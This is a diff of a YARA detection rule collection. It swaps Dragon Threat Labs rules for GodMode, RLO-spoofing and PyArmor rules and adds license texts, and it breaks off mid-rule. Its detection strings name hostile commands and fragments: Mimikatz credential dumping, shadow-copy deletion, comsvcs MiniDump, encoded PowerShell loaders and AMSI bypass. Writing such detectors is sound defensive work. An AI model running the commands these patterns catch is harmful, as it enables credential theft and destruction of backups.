+		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
+		logic_hash = "0287ac5d618c9a8332d167f1a05157aa829c7e8a052c35100fcaeb644d452e5c"
+		score = 65
+		quality = 75
+		tags = "FILE"
+		hash1 = "002fe00bc429877ee2a786a1d40b80250fd66e341729c5718fc66f759387c88c"
 
 	strings:
-		$guid1_godown = { 98 B3 E5 F6 DF E3 6B 49 A2 AD C2 0F EA 30 DB FE }
-		$guid2_godown = { 31 4B CB DB B8 21 0F 4A BC 69 0C 3C E3 B6 6D 00 }
-		$guid3_godown = { AF 94 4E B6 6B D5 B4 48 B1 78 AF 07 23 E7 2A B5 }
-		$guid4_filesystem = { 79 27 AB 37 34 F2 9D 4D B3 FB 59 A3 FA CB 8D 60 }
-		$guid6_filesystem = { 2D A1 2B 77 62 8A D3 4D B3 E8 92 DA 70 2E 6F 3D }
-		$guid5_filesystem = { AB D3 13 CF 1C 6A E8 4A A3 74 DE D5 15 5D 6A 88 }
+		$magic = { ae b1 53 78 d0 29 96 d3 }
+		$hta = { 00 04 00 00 00 2e 00 68 00 74 00 61 }
+		$wsh = "CreateObject(\"WScript.Shell\")"
 
 	condition:
-		any of them
+		filesize <5MB and $magic at 8 and $wsh and $hta
 }
 /*
  * YARA Rule Set
- * Repository Name: Dragon Threat Labs
- * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules
- * Retrieval Date: 2024-08-04
- * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9
- * Number of Rules: 7
+ * Repository Name: GodModeRules
+ * Repository: https://github.com/Neo23x0/god-mode-rules/
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 436dc682164cf17a123d6b09d1424e7e2acf0c25
+ * Number of Rules: 1
  * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
  *
  *
  * LICENSE
  *
- * NO LICENSE SET
- */
-import "pe"
+ *                                  Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
 
-rule DRAGON_THREAT_LABS_Apt_C16_Win_Memory_Pcclient : MEMORY APT
-{
-	meta:
-		description = "File matching the md5 above tends to only live in memory, hence the lack of MZ header check."
-		author = "@dragonthreatlab"
-		id = "59333cd4-b532-510e-afe5-fc3b2e96698f"
-		date = "2015-01-11"
-		modified = "2016-09-27"
-		reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L4-L19"
-		license_url = "N/A"
-		hash = "ec532bbe9d0882d403473102e9724557"
-		logic_hash = "e863fcbcbde61db569a34509061732371143f38734a0213dc856dc3c9188b042"
-		score = 75
-		quality = 80
-		tags = "MEMORY, APT"
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
 
-	strings:
-		$str1 = "Kill You" ascii
-		$str2 = "%4d-%02d-%02d %02d:%02d:%02d" ascii
-		$str3 = "%4.2f  KB" ascii
-		$encodefunc = {8A 08 32 CA 02 CA 88 08 40 4E 75 F4}
+   1. Definitions.
 
-	condition:
-		all of them
-}
-import "pe"
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
 
-rule DRAGON_THREAT_LABS_Apt_C16_Win_Disk_Pcclient : DISK
-{
-	meta:
-		description = "Encoded version of pcclient found on disk"
-		author = "@dragonthreatlab"
-		id = "40e9133c-60e8-5fec-be56-1115c8bde9b1"
-		date = "2015-01-11"
-		modified = "2016-09-27"
-		reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L21-L33"
-		license_url = "N/A"
-		hash = "55f84d88d84c221437cd23cdbc541d2e"
-		logic_hash = "47e9588ef1f350ee0d2aecc7686d9e4df1ad6c19f27d749e31340eff7e31adcb"
-		score = 75
-		quality = 80
-		tags = "DISK"
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
 
-	strings:
-		$header = {51 5C 96 06 03 06 06 06 0A 06 06 06 FF FF 06 06 BE 06 06 06 06 06 06 06 46 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 EE 06 06 06 10 1F BC 10 06 BA 0D D1 25 BE 05 52 D1 25 5A 6E 6D 73 26 76 74 6F 67 74 65 71 26 63 65 70 70 6F 7A 26 64 69 26 74 79 70 26 6D 70 26 4A 4F 53 26 71 6F 6A 69 30 11 11 0C 2A 06 06 06 06 06 06 06 73 43 96 1B 37 24 00 4E 37 24 00 4E 37 24 00 4E BA 40 F6 4E 39 24 00 4E 5E 41 FA 4E 33 24 00 4E 5E 41 FC 4E 39 24 00 4E 37 24 FF 4E 0D 24 00 4E FA 31 A3 4E 40 24 00 4E DF 41 F9 4E 36 24 00 4E F6 2A FE 4E 38 24 00 4E DF 41 FC 4E 38 24 00 4E 54 6D 63 6E 37 24 00 4E 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 56 49 06 06 52 05 09 06 5D 87 8C 5A 06 06 06 06 06 06 06 06 E6 06 10 25 0B 05 08 06 06 1C 06 06 06 1A 06 06 06 06 06 06 E5 27 06 06 06 16 06 06 06 36 06 06 06 06 06 16 06 16 06 06 06 04 06 06 0A 06 06 06 06 06 06 06 0A 06 06 06 06 06 06 06 06 76 06 06 06 0A 06 06 06 06 06 06 04 06 06 06 06 06 16 06 06 16 06 06}
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
 
-	condition:
-		$header at 0
-}
-import "pe"
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
 
-rule DRAGON_THREAT_LABS_Apt_C16_Win32_Dropper : DROPPER FILE
-{
-	meta:
-		description = "APT malware used to drop PcClient RAT"
-		author = "@dragonthreatlab"
-		id = "a1546f02-f01b-50ba-b4d9-9676e52dc4c1"
-		date = "2015-01-11"
-		modified = "2016-09-27"
-		reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L35-L52"
-		license_url = "N/A"
-		hash = "ad17eff26994df824be36db246c8fb6a"
-		logic_hash = "bb29bcf5e62cb1a55d7f0cb87b53bace26b99f858513dc4e544d531f70f54281"
-		score = 75
-		quality = 28
-		tags = "DROPPER, FILE"
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
 
-	strings:
-		$mz = {4D 5A}
-		$str1 = "clbcaiq.dll" ascii
-		$str2 = "profapi_104" ascii
-		$str3 = "/ShowWU" ascii
-		$str4 = "Software\\Microsoft\\Windows\\CurrentVersion\\" ascii
-		$str5 = {8A 08 2A CA 32 CA 88 08 40 4E 75 F4 5E}
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
 
-	condition:
-		$mz at 0 and all of ($str*)
-}
-import "pe"
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
 
-rule DRAGON_THREAT_LABS_Apt_C16_Win_Swisyn : MEMORY FILE
-{
-	meta:
-		description = "File matching the md5 above tends to only live in memory, hence the lack of MZ header check."
-		author = "@dragonthreatlab"
-		id = "af369075-aca3-576d-a10b-849703ffb4f1"
-		date = "2015-01-11"
-		modified = "2016-09-27"
-		reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L54-L70"
-		license_url = "N/A"
-		hash = "a6a18c846e5179259eba9de238f67e41"
-		logic_hash = "2fa29d3b17aa37501131132640953645d0089c9bc5ec13ffed7a498ad89c1558"
-		score = 75
-		quality = 28
-		tags = "MEMORY, FILE"
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
 
-	strings:
-		$mz = {4D 5A}
-		$str1 = "/ShowWU" ascii
-		$str2 = "IsWow64Process"
-		$str3 = "regsvr32 "
-		$str4 = {8A 11 2A 55 FC 8B 45 08 88 10 8B 4D 08 8A 11 32 55 FC 8B 45 08 88 10}
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
 
-	condition:
-		$mz at 0 and all of ($str*)
-}
-import "pe"
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
 
-rule DRAGON_THREAT_LABS_Apt_C16_Win_Wateringhole
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+ */
+rule GODMODERULES_IDDQD_God_Mode_Rule
 {
 	meta:
-		description = "Detects code from APT wateringhole"
-		author = "@dragonthreatlab"
-		id = "4958f894-91a7-56b4-90f0-40085c03382c"
-		date = "2015-01-11"
-		modified = "2016-09-27"
-		reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L72-L85"
-		license_url = "N/A"
-		logic_hash = "e866499ec77984f5bacf3f5e352393b63e0dd08fd8fd57b4990292a1dc7fbcbe"
-		score = 75
-		quality = 80
+		description = "Detects a wide array of cyber threats, from malware and ransomware to advanced persistent threats (APTs)"
+		author = "Florian Roth"
+		id = "cb16ab74-1452-5898-b819-4346fea28c69"
+		date = "2019-05-15"
+		modified = "2024-01-12"
+		reference = "Internal Research - get a god mode rule set with THOR by Nextron Systems"
+		source_url = "https://github.com/Neo23x0/god-mode-rules//blob/436dc682164cf17a123d6b09d1424e7e2acf0c25/godmode.yar#L24-L69"
+		license_url = "https://github.com/Neo23x0/god-mode-rules//blob/436dc682164cf17a123d6b09d1424e7e2acf0c25/LICENSE"
+		logic_hash = "f2996ad7090a79c470e64c9e0ac43c2ba3fc1bf18e39686ecda9dc5b89744d7e"
+		score = 60
+		quality = 46
 		tags = ""
+		importance = 60
 
 	strings:
-		$str1 = "function runmumaa()"
-		$str2 = "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("
-		$str3 = "function MoSaklgEs7(k)"
+		$ = "sekurlsa::logonpasswords" ascii wide nocase
+		$ = "ERROR kuhl" wide xor
+		$ = " -w hidden " ascii wide nocase
+		$ = "Koadic." ascii
+		$ = "ReflectiveLoader" fullword ascii wide xor
+		$ = "%s as %s\\%s: %d" ascii xor
+		$ = "[System.Convert]::FromBase64String(" ascii
+		$ = "/meterpreter/" ascii xor
+		$ = / -[eE][decoman]{0,41} ['"]?(JAB|SUVYI|aWV4I|SQBFAFgA|aQBlAHgA|cgBlAG)/ ascii wide
+		$ = /  (sEt|SEt|SeT|sET|seT)  / ascii wide
+		$ = ");iex " nocase ascii wide
+		$ = "Nir Sofer" fullword wide
+		$ = "impacket." ascii
+		$ = /\[[\+\-!E]\] (exploit|target|vulnerab|shell|inject)/ nocase
+		$ = "0000FEEDACDC}" ascii wide
+		$ = "vssadmin delete shadows" ascii nocase
+		$ = ".exe delete shadows" ascii nocase
+		$ = " shadowcopy delete" ascii wide nocase
+		$ = " delete catalog -quiet" ascii wide nocase
+		$ = "stratum+tcp://" ascii wide
+		$ = /\\(Debug|Release)\\(Key[lL]og|[Ii]nject|Steal|By[Pp]ass|Amsi|Dropper|Loader|CVE\-)/
+		$ = /(Dropper|Bypass|Injection|Potato)\.pdb/ nocase
+		$ = "Mozilla/5.0" xor(0x01-0xff) ascii wide
+		$ = "amsi.dllATVSH" ascii xor
+		$ = "BeaconJitter" xor
+		$ = "main.Merlin" ascii fullword
+		$ = "\x48\x83\xec\x50\x4d\x63\x68\x3c\x48\x89\x4d\x10" xor
+		$ = "}{0}\"-f " ascii wide
+		$ = "HISTORY=/dev/null" ascii
+		$ = " /tmp/x;" ascii
+		$ = /comsvcs(\.dll)?[, ]{1,2}(MiniDump|#24)/
+		$ = "AmsiScanBuffer" base64 base64wide
+		$ = "AmsiScanBuffer" xor(0x01-0xff)
+		$ = "%%%%%%%%%%%######%%%#%%####%  &%%**#" ascii wide xor
 
 	condition:
-		any of ($str*)
+		1 of them
 }
-import "pe"
+/*
+ * YARA Rule Set
+ * Repository Name: Cod3nym
+ * Repository: https://github.com/cod3nym/detection-rules/
+ * Retrieval Date: 2024-09-01
+ * Git Commit: ad485bff0ce30afb56e367b7f2b76fea81e78fc9
+ * Number of Rules: 13
+ * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * ## Detection Rule License (DRL) 1.1
 
-rule DRAGON_THREAT_LABS_Apt_C16_Win64_Dropper : DROPPER FILE
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this rule set and associated documentation files (the "Rules"), to deal
+in the Rules without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Rules, and to permit persons to whom the Rules are furnished to do so,
+subject to the following conditions:
+
+If you share the Rules (including in modified form), you must retain the
+following if it is supplied within the Rules:
+
+1. identification of the authors(s) ("author" field) of the Rule and any
+   others designated to receive attribution, in any reasonable manner
+   requested by the Rule author (including by pseudonym if designated).
+
+2. a URI or hyperlink to the Rule set or explicit Rule to the extent
+   reasonably practicable
+
+3. indicate the Rules are licensed under this Detection Rule License, and
+   include the text of, or the URI or hyperlink to, this Detection Rule
+   License to the extent reasonably practicable
+
+If you use the Rules (including in modified form) on data, messages based on
+matches with the Rules must retain the following if it is supplied within the
+Rules:
+
+1. identification of the authors(s) ("author" field) of the Rule and any
+   others designated to receive attribution, in any reasonable manner
+   requested by the Rule author (including by pseudonym if designated).
+
+THE RULES ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE RULES OR THE USE OR OTHER DEALINGS IN THE
+RULES.
+
+ */
+rule COD3NYM_SUSP_RLO_Exe_Extension_Spoofing_Jan24
 {
 	meta:
-		description = "APT malware used to drop PcClient RAT"
-		author = "@dragonthreatlab"
-		id = "dbd1a16c-52a5-5b07-b34f-7eb7b78c1eab"
-		date = "2015-01-11"
-		modified = "2016-09-27"
-		reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L87-L104"
-		license_url = "N/A"
-		logic_hash = "df905711eca68c698ad6340e88ae99fdcae918c86ec2b7c26b62eead54fef892"
-		score = 75
-		quality = 28
-		tags = "DROPPER, FILE"
+		description = "Detects Right-To-Left (RLO) Unicode (U+202E) extension spoofing for .exe files"
+		author = "Jonathan Peters"
+		id = "60c1a8db-6bfc-547b-98d9-21c198a703f0"
+		date = "2024-01-14"
+		modified = "2024-02-19"
+		reference = "https://unprotect.it/technique/right-to-left-override-rlo-extension-spoofing/"
+		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/other/susp_rlo_exe_extension_spoofing.yar#L2-L58"
+		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
+		hash = "cae0ab10f7c1afd7941aff767a9b59901270e3de4d44167e932dae0991515487"
+		logic_hash = "6126f36b3cd695b4002c29c9163faa6ec295699863d8db7fe17afc407f5a5736"
+		score = 70
+		quality = 55
+		tags = ""
 
 	strings:
-		$mz = { 4D 5A }
-		$str1 = "clbcaiq.dll" ascii
-		$str2 = "profapi_104" ascii
-		$str3 = "\\Microsoft\\wuauclt\\wuauclt.dat" ascii
-		$str4 = { 0F B6 0A 48 FF C2 80 E9 03 80 F1 03 49 FF C8 88 4A FF 75 EC }
+		$ = { E2 80 AE 76 73 63 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 66 64 70 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 78 73 6C 78 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 78 63 6F 64 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 70 69 7A ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 67 6E 70 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 67 65 70 6A ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 67 70 6A ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 6E 6C 73 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 74 78 74 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 66 64 70 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 78 74 70 70 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 74 64 6f ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 63 74 65 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 66 69 67 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 70 6d 62 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 66 66 69 74 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 67 76 73 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 34 70 6d ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 69 76 61 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 76 6f 6d ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 76 6d 77 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 76 6c 66 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 76 6b 6d ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 33 70 6d ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 76 61 77 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 63 61 61 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 63 61 6c 66 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 67 67 6f ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 61 6d 77 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 72 61 72 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 7a 37 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 7a 67 72 61 74 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 6f 73 69 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 6c 6d 74 68 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 6c 6d 65 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 6d 74 68 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 66 74 72 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 6d 68 63 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 61 74 68 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 6b 6e 6c ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 73 6c 78 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 63 6f 64 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
+		$ = { E2 80 AE 6d 63 6f 64 ( 2E 2E | 2E ) ( 65 78 65 | 73 63 72 ) }
 
 	condition:
-		$mz at 0 and all of ($str*)
+		1 of them
 }
-rule DRAGON_THREAT_LABS_Apt_Win_Mocelpa
+rule COD3NYM_SUSP_OBF_Pyarmor_Jan24
 {
 	meta:
-		description = "APT malware; Mocelpa, downloader."
-		author = "@int0x00"
-		id = "2cf2ba5e-86b1-5533-9e14-61113e5f574d"
-		date = "2023-04-10"
-		modified = "2023-04-10"
-		reference = "https://github.com/DragonThreatLabs/IntelReports/blob/master/DTL-06282015-01.pdf"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/apt_win_mocelpa.yar#L1-L11"
-		license_url = "N/A"
-		logic_hash = "0331c0f690ac7a8870b3f4012f2828ed23850340edcf0b6ff80bc408d9174977"
-		score = 75
-		quality = 28
+		description = "Detects PyArmor python code obfuscation. PyArmor is used by various threat actors like BatLoader"
+		author = "Jonathan Peters"
+		id = "2627c764-57ed-5781-8c77-ad2d9f4bd0ee"
+		date = "2024-01-16"
+		modified = "2024-01-16"
+		reference = "https://www.trendmicro.com/en_us/research/23/h/batloader-campaigns-use-pyarmor-pro-for-evasion.html"
+		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/other/susp_obf_pyarmor.yar#L1-L18"
+		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
+		hash = "2727a418f31e8c0841f8c3e79455067798a1c11c2b83b5c74d2de4fb3476b654"
+		logic_hash = "6bbbe4c9ad54a1d1042b53803ca6011f3eaaeebbe864703e741c25a0d788342f"
+		score = 65
